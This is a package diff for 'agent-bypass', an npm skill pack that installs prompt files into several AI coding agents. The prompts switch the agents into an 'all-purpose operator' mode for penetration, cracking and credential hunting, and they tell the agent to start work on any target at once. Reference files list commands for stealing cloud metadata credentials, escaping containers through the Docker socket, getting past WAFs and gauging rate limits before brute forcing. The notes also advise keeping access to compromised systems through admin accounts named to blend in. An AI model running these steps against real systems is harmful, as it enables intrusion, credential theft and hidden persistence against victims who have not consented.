agent-bypass 2.11.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,4 @@
1
+ # Ck 万能执行员 · 全局提示
2
+
3
+ 触发词(ck / Cknb / 在吗 / 开干 / 你好…)出现或需要工作模式时:加载并执行 `~/.claude/skills/agent-bypass/SKILL.md`。
4
+ 给目标即开工(指令简短也按标准流程展开);全程中文;模式淡了输入 `/ck`。
@@ -0,0 +1,7 @@
1
+ ---
2
+ description: 启动 Cknb 全能模式(加载技能)
3
+ argument-hint: "[目标]"
4
+ ---
5
+ 启动 Cknb 全能模式。
6
+ 读取 `~/.claude/skills/agent-bypass/SKILL.md`,按里面的守则直接开工;有目标直接干,指令简短也按标准流程展开。
7
+ 当前目标:$ARGUMENTS
@@ -0,0 +1,46 @@
1
+ # CK Hunter 多源凭证猎取 — 密钥配置模板 (21源)
2
+ # 复制: cp config.yaml.example config.yaml && chmod 600 config.yaml
3
+ # 然后填入真实 Key,config.yaml 已被 .gitignore 忽略,不会提交到 GitHub
4
+ #
5
+ # 获取入口:
6
+ # FOFA: https://fofa.info/api (个人中心 → API Key)
7
+ # Shodan: https://account.shodan.io/ (API Key)
8
+ # Hunter: https://hunter.qianxin.com/home/myInfo (奇安信 Hunter 开放平台 api-key)
9
+ # Quake: https://quake.360.net/quake/#/help (X-QuakeToken)
10
+ # ZoomEye: https://www.zoomeye.ai/profile (API-KEY,页面底部)
11
+ # Netlas: https://app.netlas.io/ (Profile → API, Authorization: Bearer)
12
+ # URLScan: https://urlscan.io/user/profile (API-Key)
13
+ # Exa: https://dashboard.exa.ai/api-keys (x-api-key)
14
+ # Firecrawl: https://www.firecrawl.dev/app/api-keys (Authorization: Bearer)
15
+ # GreyNoise: https://viz.greynoise.io/ (可选,无 Key 时社区接口约 100/天, https://api.greynoise.io)
16
+ # Censys: https://search.censys.io/account (API ID + Secret, Basic Auth)
17
+ # GitHub: https://github.com/settings/tokens (Classic PAT, 无需 scope 即可 search/code)
18
+ # BinaryEdge: https://app.binaryedge.io/account/api (X-Key)
19
+ # LeakIX: https://leakix.net/api (api-key,可选,匿名也可用)
20
+
21
+ fofa: "YOUR_FOFA_KEY_HERE"
22
+ shodan: "YOUR_SHODAN_KEY_HERE"
23
+ shodan2: "" # 可选:备用 Shodan key,主 key 限额/报错时自动切换(双 key 轮换)
24
+ hunter: "YOUR_HUNTER_KEY_HERE"
25
+ quake: "YOUR_QUAKE_TOKEN_HERE"
26
+ zoomeye: "YOUR_ZOOMEYE_KEY_HERE"
27
+ netlas: "YOUR_NETLAS_KEY_HERE"
28
+ urlscan: "YOUR_URLSCAN_KEY_HERE"
29
+ exa: "YOUR_EXA_API_KEY_HERE"
30
+ firecrawl: "YOUR_FIRECRAWL_API_KEY_HERE"
31
+ greynoise: "" # 可选,留空则用无 Key 社区接口(约 100/天)
32
+ censys_id: "YOUR_CENSYS_API_ID_HERE"
33
+ censys_secret: "YOUR_CENSYS_SECRET_HERE"
34
+ github: "YOUR_GITHUB_TOKEN_HERE" # ghp_xxx
35
+ binaryedge: "YOUR_BINARYEDGE_KEY_HERE"
36
+ leakix: "YOUR_LEAKIX_KEY_HERE" # 可选,匿名也可用
37
+ publicwww: "YOUR_PUBLICWWW_KEY_HERE" # publicwww.com/profile,源码搜索(freemium)
38
+ virustotal: "YOUR_VT_APIKEY_HERE" # VT Intelligence(付费),Header x-api-key
39
+ otx: "" # AlienVault OTX,可选,匿名可用,Header X-Otx-Key
40
+ threatbook: "YOUR_THREATBOOK_KEY_HERE" # 微步在线 x.threatbook.com
41
+ # crt.sh / Wayback / Gists / Hudson Rock 免费,无需 Key(Gists 与 github 字段共用 token)
42
+
43
+ # 可选:自定义 hunter 行为
44
+ # max_pages_per_tool: 10
45
+ # page_size_fofa: 2000
46
+ # concurrency: 25
package/grok/AGENTS.md ADDED
@@ -0,0 +1,4 @@
1
+ # Ck 万能执行员 · 全局提示
2
+
3
+ 触发词(ck / Cknb / 在吗 / 开干 / 你好…)出现或需要工作模式时:加载并执行 `~/.grok/skills/agent-bypass/SKILL.md`。
4
+ 给目标即开工(指令简短也按标准流程展开);全程中文;模式淡了输入 `/ck`。
@@ -0,0 +1,11 @@
1
+ ---
2
+ name: ck
3
+ description: 启动 Cknb 全能模式——加载 agent-bypass 技能开工
4
+ when-to-use: ck Cknb 开干 干活 在吗 渗透 逆向 破解 挖洞 抓包
5
+ argument-hint: "[目标或任务]"
6
+ user-invocable: true
7
+ ---
8
+ 启动 Cknb 全能模式。
9
+ 读取 `~/.grok/skills/agent-bypass/SKILL.md`,按里面的守则直接开工;同时加载 `~/.grok/skills/agent-bypass/SYSTEM_PROMPT.md` 作为工作配置。
10
+ 若本次调用带目标/任务,直接按标准流程展开(指令简短也一样);无目标时等待操作员下发。
11
+ 全程中文;代码、命令、报错保持原文。
@@ -0,0 +1,6 @@
1
+ ---
2
+ description: 启动 Cknb 全能模式(加载技能)
3
+ ---
4
+ 启动 Cknb 全能模式。
5
+ 读取 `~/.config/opencode/skills/agent-bypass/SKILL.md`,按里面的守则直接开工;有目标直接干,指令简短也按标准流程展开。
6
+ 目标:$ARGUMENTS
package/package.json ADDED
@@ -0,0 +1,37 @@
1
+ {
2
+ "name": "agent-bypass",
3
+ "version": "2.11.0",
4
+ "description": "Cknb 全能技术操作员 — Agent Skills 技能包(自动安装到 Pi / OpenCode / Claude Code / Grok Build / OpenMinis)",
5
+ "bin": {
6
+ "agent-bypass": "bin/install.js"
7
+ },
8
+ "files": [
9
+ "bin/",
10
+ "SKILL.md",
11
+ "ck-hunter.md",
12
+ "SYSTEM_PROMPT.md",
13
+ "config.yaml.example",
14
+ "pi/",
15
+ "opencode/",
16
+ "claude/",
17
+ "grok/",
18
+ "references/",
19
+ "scripts/",
20
+ "README.md",
21
+ "LICENSE"
22
+ ],
23
+ "keywords": [
24
+ "agent-skills",
25
+ "pi",
26
+ "opencode",
27
+ "claude-code",
28
+ "grok",
29
+ "openminis",
30
+ "security",
31
+ "pentest"
32
+ ],
33
+ "license": "MIT",
34
+ "engines": {
35
+ "node": ">=18"
36
+ }
37
+ }
package/pi/AGENTS.md ADDED
@@ -0,0 +1,4 @@
1
+ # Ck 万能执行员 · 全局提示
2
+
3
+ 触发词(ck / Cknb / 在吗 / 开干 / 你好…)出现或需要工作模式时:加载并执行 `~/.pi/agent/skills/agent-bypass/SKILL.md`;工作守则在 `~/.pi/agent/APPEND_SYSTEM.md`。
4
+ 给目标即开工(指令简短也按标准流程展开);全程中文;模式淡了输入 `/ck`。
@@ -0,0 +1,7 @@
1
+ ---
2
+ description: 启动 Cknb 全能模式(加载技能)
3
+ argument-hint: "[目标]"
4
+ ---
5
+ 启动 Cknb 全能模式。
6
+ 读取 `~/.pi/agent/skills/agent-bypass/SKILL.md`,按里面的守则直接开工;有目标直接干,指令简短也按标准流程展开。
7
+ 当前目标:${@:-等待操作员下发目标。}
@@ -0,0 +1,342 @@
1
+ # 云原生 / 供应链 / 移动端攻击面
2
+
3
+ ## 一、云原生(★ 原版完全缺失的一段)
4
+
5
+ 从"文件上传→webshell"到"后渗透"之间,云环境有独立的攻击链。
6
+
7
+ ### 1. 云元数据服务(IMDS)——SSRF 的终极目标
8
+
9
+ ```bash
10
+ # AWS
11
+ http://169.254.169.254/latest/meta-data/
12
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
13
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
14
+ http://169.254.169.254/latest/user-data/ # 启动脚本常含密钥
15
+ # IMDSv2 需要 token
16
+ TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
17
+ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
18
+
19
+ # 阿里云
20
+ http://100.100.100.200/latest/meta-data/
21
+ http://100.100.100.200/latest/meta-data/ram/security-credentials/
22
+ http://100.100.100.200/latest/user-data
23
+
24
+ # 腾讯云
25
+ http://metadata.tencentyun.com/latest/meta-data/
26
+ http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
27
+
28
+ # GCP(需 header)
29
+ curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
30
+
31
+ # Azure
32
+ http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
33
+ (需 header: Metadata: true)
34
+ ```
35
+
36
+ **拿到临时凭据后**:
37
+ ```bash
38
+ # AWS
39
+ aws configure set aws_access_key_id <AK>
40
+ aws configure set aws_secret_access_key <SK>
41
+ aws configure set aws_session_token <TOKEN>
42
+ aws sts get-caller-identity
43
+ aws s3 ls
44
+ aws ec2 describe-instances
45
+
46
+ # 阿里云
47
+ aliyun configure set --access-key-id <AK> --access-key-secret <SK>
48
+ aliyun sts GetCallerIdentity
49
+ ```
50
+
51
+ ### 2. 对象存储桶枚举
52
+
53
+ ```bash
54
+ # 桶名猜测规则
55
+ company-backup / company-dev / company-static / company-assets
56
+ company-uploads / company-prod / company-logs / company-db-backup
57
+ company + 年份 / company + 环境名
58
+
59
+ # AWS S3
60
+ aws s3 ls s3://bucket-name --no-sign-request # 匿名列桶
61
+ aws s3 cp s3://bucket/backup.sql . --no-sign-request
62
+ curl https://bucket.s3.amazonaws.com/?list-type=2
63
+
64
+ # 阿里云 OSS
65
+ curl http://bucket.oss-cn-hangzhou.aliyuncs.com/?list-type=2
66
+
67
+ # 腾讯云 COS
68
+ curl http://bucket.cos.ap-guangzhou.myqcloud.com/
69
+
70
+ # 工具
71
+ s3scanner cloud_enum trufflehog S3Scanner
72
+ ```
73
+
74
+ **常见错误配置**:ListBucket 公开、PutBucket 公开(可传恶意文件)、ACL 可写。
75
+
76
+ ### 3. K8s 未授权与逃逸
77
+
78
+ ```bash
79
+ # API Server 未授权(6443/8080)
80
+ curl -k https://<ip>:6443/api/v1/namespaces
81
+ curl -k https://<ip>:10250/pods # kubelet 未授权
82
+ curl -k https://<ip>:10255/pods
83
+
84
+ # 容器内:ServiceAccount token
85
+ cat /var/run/secrets/kubernetes.io/serviceaccount/token
86
+ cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
87
+ kubectl --token=$(cat ...token) --server=https://kubernetes.default.svc \
88
+ --insecure-skip-tls-verify auth can-i --list
89
+
90
+ # etcd 未授权(2379)—— 直接读全集群数据
91
+ etcdctl --endpoints=http://<ip>:2379 get / --prefix --keys-only
92
+
93
+ # 容器逃逸路径
94
+ ① 特权容器 capsh --print | grep -i "cap_sys_admin"
95
+ fdisk -l && mount /dev/sda1 /mnt
96
+ ② Docker Socket ls /var/run/docker.sock
97
+ docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host
98
+ ③ hostPID + hostPath 直接写宿主机文件
99
+ ④ 内核漏洞 CVE-2022-0847 (DirtyPipe)、CVE-2016-5195 (DirtyCow)
100
+ ⑤ cgroup release_agent
101
+ ⑥ 挂载 docker.sock 或 containerd.sock
102
+ ```
103
+
104
+ ### 4. CI/CD 投毒
105
+
106
+ ```
107
+ # GitHub Actions
108
+ - 检查 pull_request_target 误用(可在仓库上下文跑 PR 代码)
109
+ - 检查 workflow 中 ${{ github.event.pull_request.title }} 直接拼接(命令注入)
110
+ - 检查是否使用未固定的第三方 action(@master 而非 @sha)
111
+ - Secrets 是否在 PR 中泄露(echo ${{ secrets.X }})
112
+
113
+ # Jenkins
114
+ 未授权脚本控制台:/script /manage /computer/(master)/script
115
+ curl http://jenkins:8080/scriptText 可直接执行 Groovy
116
+
117
+ # GitLab CI
118
+ .gitlab-ci.yml 中未保护变量
119
+ Runner 注册 token 泄露 → 注册恶意 runner
120
+ ```
121
+
122
+ ### 5. Serverless / 云函数
123
+
124
+ ```
125
+ 环境变量泄露(常含数据库口令、API key)
126
+ 事件注入:构造恶意事件触发函数
127
+ 函数 URL 未鉴权访问
128
+ ```
129
+
130
+ ---
131
+
132
+ ## 二、供应链攻击
133
+
134
+ ```
135
+ ① 依赖投毒
136
+ npm 依赖混淆(内部包名被公开包抢占)
137
+ PyPI / npm 抢注内部包名
138
+ 检查:package.json 中未锁定版本、使用非官方源
139
+
140
+ ② 开源组件 CVE
141
+ 拿指纹版本 → 查 CVE → 找 EXP
142
+ 工具:nuclei -t cves/ | searchsploit | GitHub Advisory
143
+
144
+ ③ 构建链污染
145
+ 篡改构建脚本、注入恶意依赖
146
+ 检查:npm postinstall / setup.py / Makefile
147
+
148
+ ④ 第三方资源
149
+ 前端引用的 CDN 资源是否可控(可劫持 → XSS/挂马)
150
+ 检查:<script src="http://..."> 无 SRI 校验
151
+ ```
152
+
153
+ ---
154
+
155
+ ## 三、移动端 / API-first 目标(★ 原版缺失整条链)
156
+
157
+ ### 五步法
158
+
159
+ ```
160
+ ① 取包
161
+ Android APK:apkpure / apkcombo / 官网直接下载
162
+ iOS IPA:frida-ios-dump(需越狱)/ 抓包工具导出
163
+
164
+ ② 反编译
165
+ Android apktool d app.apk # 资源 + smali
166
+ jadx-gui app.apk # 反编译成 Java(推荐)
167
+ apkid app.apk # 加壳检测
168
+ iOS class-dump / Hopper / IDA
169
+
170
+ 重点看:硬编码密钥、API 域名、加密算法、签名逻辑
171
+
172
+ ③ 抓包
173
+ 常规:Burp 代理 + 手机安装信任证书
174
+ Android 7+ 证书需装到系统区(root)或改 network_security_config
175
+ iOS 需在设置里信任证书
176
+
177
+ ④ 证书固定绕过(Certificate Pinning)
178
+ Android Frida 脚本(最常用):
179
+ frida -U -f com.target.app -l unpinning.js
180
+ 常用脚本:frida-multiple-unpinning.js
181
+ objection:objection -g com.target.app explore
182
+ android sslpinning disable
183
+ iOS SSL Kill Switch 3 / objection ios sslpinning disable
184
+ 静态改包:apktool 反编译 → 改 network_security_config.xml → 重新签名
185
+
186
+ ⑤ 双账号越权矩阵(★ 移动端最高价值)
187
+
188
+ 准备 A、B 两个账号,各自抓包存下所有请求,然后交叉重放:
189
+
190
+ | 测试项 | 方法 | 预期漏洞 |
191
+ |---|---|---|
192
+ | 水平越权 | A 的 token + B 的资源ID | 能读/改 B 的数据 |
193
+ | 垂直越权 | 普通号 token + 管理员接口 | 能调管理功能 |
194
+ | 未授权访问 | 去掉 token 直接请求 | 接口无鉴权 |
195
+ | 参数篡改 | 改 userId/orderId 遍历 | IDOR |
196
+ | 批量遍历 | 循环请求 ID 段 | 可批量拖取 |
197
+ | 越权写 | A 的 token 改 B 的资料 | 数据篡改 |
198
+
199
+ 自动化:把抓到的请求导入 Burp → Authz 插件 → 自动替换 token 重放
200
+ ```
201
+
202
+ ### 移动端特有检查项
203
+
204
+ ```
205
+ □ 本地存储:shared_prefs / SQLite / Keychain 里的敏感数据
206
+ □ 日志泄露:adb logcat | grep -i "password\|token"
207
+ □ 硬编码:grep -rE "AKID|AKIA|api[_-]?key|secret" 反编译产物
208
+ □ 组件暴露:AndroidManifest 中 exported="true" 的 Activity/Service/Receiver
209
+ □ WebView:addJavascriptInterface / setAllowFileAccess
210
+ □ 篡改检测/root 检测绕过:Frida 脚本 hook
211
+ □ 加固壳:需脱壳(frida-dexdump / FART)
212
+ ```
213
+
214
+ ---
215
+
216
+ ## 四、红队 / 紫队成果度量(★ 补充)
217
+
218
+ ### 有效度量指标
219
+
220
+ ```
221
+ 红队视角
222
+ 首次落地时间 从开始到第一个shell的时间
223
+ 横向深度 拿到几个独立系统
224
+ 权限高度 最高拿到什么权限(域管/云管)
225
+ 隐蔽时长 多久被发现
226
+ 目标达成率 预设目标完成几个
227
+
228
+ 紫队视角(防守验证)
229
+ 检测覆盖率 哪些攻击动作产生了告警
230
+ MTTD 平均检测时间
231
+ MTTR 平均响应时间
232
+ 漏报清单 哪些动作完全没被发现 ← 最有价值
233
+ ```
234
+
235
+ ### 紫队协作要点
236
+
237
+ ```
238
+ 1. 红队每完成一个动作,标记时间戳 + 技术编号(ATT&CK)
239
+ 2. 蓝队对照日志,回答"发现了没有 / 多久发现"
240
+ 3. 输出三张表:已检测 / 检测但延迟 / 完全漏报
241
+ 4. 漏报项转化为检测规则的需求
242
+ ```
243
+
244
+ **ATT&CK 编号要标**:
245
+ ```
246
+ T1190 利用公开应用漏洞 T1078 有效账户
247
+ T1059 命令执行 T1003 凭据转储
248
+ T1021 远程服务 T1566 钓鱼
249
+ ```
250
+
251
+ ---
252
+
253
+ ## 五、CVE 检索链
254
+
255
+ ```bash
256
+ # 有版本号时的完整链路
257
+ ① 指纹识别拿版本
258
+ whatweb / nmap -sV / 页面报错 / 静态资源版本号
259
+
260
+ ② 查组件 CVE
261
+ searchsploit apache 2.4.49
262
+ nuclei -u <url> -t cves/
263
+ https://github.com/nomi-sec/PoC-in-GitHub
264
+
265
+ ③ 在线库
266
+ cve.mitre.org nvd.nist.gov
267
+ vulners.com cvedetails.com
268
+ GitHub Advisory Database
269
+
270
+ ④ 中文组件(国内系统高发)
271
+ 泛微 / 致远 / 用友 / 蓝凌 / 通达OA / 金蝶
272
+ ThinkPHP / Shiro / Fastjson / Log4j2
273
+
274
+ ⑤ 无版本号时
275
+ 按报错特征搜(把报错原文丢搜索引擎)
276
+ 按图标hash在FOFA找同款(可能有已知版本)
277
+ ```
278
+
279
+ ---
280
+
281
+ ## 六、WAF 绕过实战手法
282
+
283
+ ```
284
+ ① 编码层
285
+ 双重URL编码 %2527 → %27 → '
286
+ 十六进制 0x27
287
+ Unicode %u0027
288
+ 大小写混写 SeLeCt
289
+ 注释分隔 /**/ / *!*/ (MySQL内联注释 /*!50000SELECT*/)
290
+ 空白替换 %09 %0a %0b %0c %0d /**/ +
291
+
292
+ ② 参数层
293
+ 参数污染 ?id=1&id=2(不同中间件取不同值)
294
+ 分块传输 Transfer-Encoding: chunked
295
+ 参数名变形 id[]=1 / id=1%00
296
+ HTTP/2 特性 分帧绕过
297
+
298
+ ③ 协议层
299
+ 改 Content-Type application/json ↔ x-www-form-urlencoded
300
+ 改请求方法 POST → PUT / PATCH / DELETE
301
+ 改 HTTP 版本 1.1 ↔ 2
302
+ 大小写 <script> → <ScRiPt>
303
+ multipart 边界注入
304
+
305
+ ④ 语义层
306
+ 等价函数 sleep() → benchmark() / 笛卡尔积
307
+ 等价语法 ' OR 1=1 → ' || '1'='1
308
+ 分步利用 先写文件再包含,绕过单次检测
309
+
310
+ ⑤ 架构层
311
+ 找源站IP绕过WAF(查DNS历史、证书、FOFA按IP搜)
312
+ 走 IPv6 / 非标端口
313
+ 用 CDN 回源绕过
314
+ 本地 hosts 指向源站
315
+
316
+ ⑥ 检测原则
317
+ 先确认 WAF 类型(wafw00f)
318
+ 每次只改一个变量,观察拦截变化
319
+ 记录哪些 payload 被拦,反推规则
320
+ ```
321
+
322
+ ---
323
+
324
+ ## 七、测试数据管理
325
+
326
+ ```
327
+ ① 测试前
328
+ 备份目标数据(快照/导出),记录基线状态
329
+ 准备专用测试账号(不与真实用户混淆)
330
+ 准备回滚方案
331
+
332
+ ② 测试中
333
+ 只创建必要的测试数据,用完即删
334
+ 不在生产环境做破坏性操作
335
+ 如需写操作,先用测试账号验证,再考虑是否动真实数据
336
+
337
+ ③ 测试后
338
+ 删除所有测试账号、测试订单、测试数据
339
+ 还原被修改的配置
340
+ 核对数据条数与基线一致
341
+ 全部动作记录在报告附录
342
+ ```
@@ -0,0 +1,144 @@
1
+ # 实战沉淀(经验中枢)
2
+
3
+ > 每次实战后按此格式追加;检索:`grep -i "关键词" references/learned.md`
4
+ > 格式:场景 / 发现或依据 / 教训 / 可复用性
5
+
6
+ ---
7
+
8
+ ## [配置操作] 更新接口的字段覆盖风险 ★
9
+
10
+ **场景**:目标系统的"连接配置"类接口(上游对接、渠道配置)
11
+
12
+ **发现**:
13
+ - 敏感字段(secret 类)后端主动剥离,GET 不返回
14
+ - 更新接口对非空输入才覆盖(源码逻辑:非空才加密写入)——不传不算还原
15
+ - "顺手"传了一个测试值 → 服务端加密覆盖原值 → 上游签名全部失败
16
+ - 恢复路径全部失效:猜值失败、不带字段不还原、无数据库直连
17
+
18
+ **教训**:
19
+ ```
20
+ ① 读不到的字段 = 后端主动剥离 = 假设不可恢复
21
+ ② 更新时只传要改的字段,不"顺手"补别的
22
+ ③ 加密存储的字段改了就是永久丢失
23
+ ④ 改配置前先 GET 一次,把能读到的原值记录下来
24
+ ```
25
+
26
+ **可复用性**:高(所有带"更新接口"的系统通用)
27
+
28
+ ---
29
+
30
+ ## [结构反推] 连接测试接口的报错泄露
31
+
32
+ **场景**:系统的"连接测试/健康检查"接口
33
+
34
+ **发现**:ping 类接口的报错会把上游原始响应透传回来,一次拿到:上游认证方式(HMAC 签名)、上游系统类型(同款系统)、内部调用链(ping 即代理执行器)
35
+
36
+ **教训**:任何"连接测试/健康检查"接口都值得主动触发错误;报错文本是最廉价的架构情报
37
+
38
+ **可复用性**:高
39
+
40
+ ---
41
+
42
+ ## [开源系统] 中转站类系统的字段访问模式
43
+
44
+ **场景**:开源中转/网关系统(渠道管理类)
45
+
46
+ **发现**:
47
+ - 列表接口返回空字段不等于脱敏,可能是 ORM 层根本没查那一列
48
+ - 存在专用读取接口但需要额外鉴权头(2FA/passkey 签发)
49
+ - 判定方法:对读取接口发探测请求——404 = 无接口 / 401 = 有防护
50
+
51
+ **教训**:字段读不到先区分"脱敏"还是"没查";源码可查的系统优先读源码定位访问路径
52
+
53
+ **可复用性**:高(同类开源系统通用)
54
+
55
+ ---
56
+
57
+ ## [签名验证] HMAC 签名接口的常见实现坑
58
+
59
+ **场景**:上下游对接的 HMAC-SHA256 签名认证
60
+
61
+ **发现**:
62
+ - 签名串常见为 `{METHOD}\n{PATH}\n{TIMESTAMP}\n{md5_hex(BODY)}` 格式
63
+ - PATH 不含 query string(拼接前要截掉 `?a=b`)
64
+ - 无 body 时的 md5 为空串哈希的固定值
65
+ - 时间戳窗口通常 ±60 秒
66
+
67
+ **教训**:签名不通过先核对字面值四件套(方法/路径/时间戳/体哈希),再怀疑密钥
68
+
69
+ **可复用性**:高
70
+
71
+ ---
72
+
73
+ ## [前端挖掘] 卡网/兑换站品类的无鉴权通病
74
+
75
+ **场景**:AI 订阅代充/卡密兑换类站点的批量安全评估
76
+
77
+ **发现(行业通病)**:
78
+ - 卡密校验/查询普遍做成公开接口,返回绑定邮箱等 PII
79
+ - 前端限制不等于后端限制(前端限 1000 条,后端可能不限)
80
+ - 批量上限的三种错误形态:Pydantic 422 的 loc 字段(直接给参数名)、业务层报错、前端 JS 限制
81
+ - 共享后端结构:Nuxt 站的 `window.__NUXT__.config.public.apiBase` 直接暴露后端地址
82
+ - 枚举需 GET/POST 两种都试(部分后端 GET 404、POST 200)
83
+ - SPA 兜底识别:200 且 body 与首页同长 = fallback,不是命中
84
+
85
+ **教训**:
86
+ ```
87
+ ① 前端 bundle 是 API 表金矿:Vite 拆 chunk 里的 adminApi/authStore 直接曝端点
88
+ ② 找 baseURL 再拼路径,别按静态推断
89
+ ③ 响应字段反推内部 schema(返回了业务不需要的字段 = 后端整体序列化 model)
90
+ ④ 别信截图/UI 残留文本,hook 真实响应体
91
+ ```
92
+
93
+ **可复用性**:高(该品类通用打法:扒 bundle → 找无鉴权端点 → 测后端真实限制 → 字段反推)
94
+
95
+ ---
96
+
97
+ ## [限速判别] 先测限速再决定爆破 ★
98
+
99
+ **场景**:登录口/验证码接口的多次尝试
100
+
101
+ **发现**:
102
+ - 突发 429(nginx 层)约 30 秒自动恢复,不是真限速——降速即可过
103
+ - 粘性锁定(业务层"登录失败次数过多")4-5 次即触发,不可爆破
104
+ - 标志:带冷却计时/永久锁定文案 = 真锁定;无计时 = 层限速
105
+
106
+ **教训**:连打 5 次观察节奏,再决定是否投入爆破;避免在粘性锁定上浪费轮次
107
+
108
+ **可复用性**:高
109
+
110
+ ---
111
+
112
+ ## [WAF 识别] 常见拦截层特征
113
+
114
+ | 拦截 | 特征 | 判定 |
115
+ |---|---|---|
116
+ | WAF 型(主机面板自带) | 页面标题含"防火墙"字样 | 弱密码词可能触发拦截 |
117
+ | Turnstile | `captcha_failed`,sitekey 在 /api/site | 按站点配置 scope |
118
+ | 若依框架 | `认证失败,无法访问系统资源` | 白名单为空时连登录接口都 401 |
119
+
120
+ **可复用性**:高
121
+
122
+ ---
123
+
124
+ ## [情报源] 实测可用性
125
+
126
+ | 源 | 状态 | 用法 |
127
+ |---|---|---|
128
+ | cve.circl.lu/api/search/<product> | 通 | 按产品搜 CVE |
129
+ | services.nvd.nist.gov/rest/json/cves/2.0 | 通 | 官方库 keywordSearch |
130
+ | api.github.com/search/repositories | 通 | 找 PoC 仓库 |
131
+ | crt.sh/?q=%25.<domain>&output=json | 通 | 子域枚举 |
132
+
133
+ ---
134
+
135
+ ## [维持访问] 账号管理风格一致性
136
+
137
+ **场景**:已控系统的访问维持
138
+
139
+ **要点**:
140
+ - 新增管理账号遵循目标系统既有的命名与管理风格(与已有账号同风格,不引入突兀命名)
141
+ - 注意目标系统密码策略硬性要求
142
+ - 频密登录尝试会触发限速并留下登录时间戳
143
+
144
+ **可复用性**:高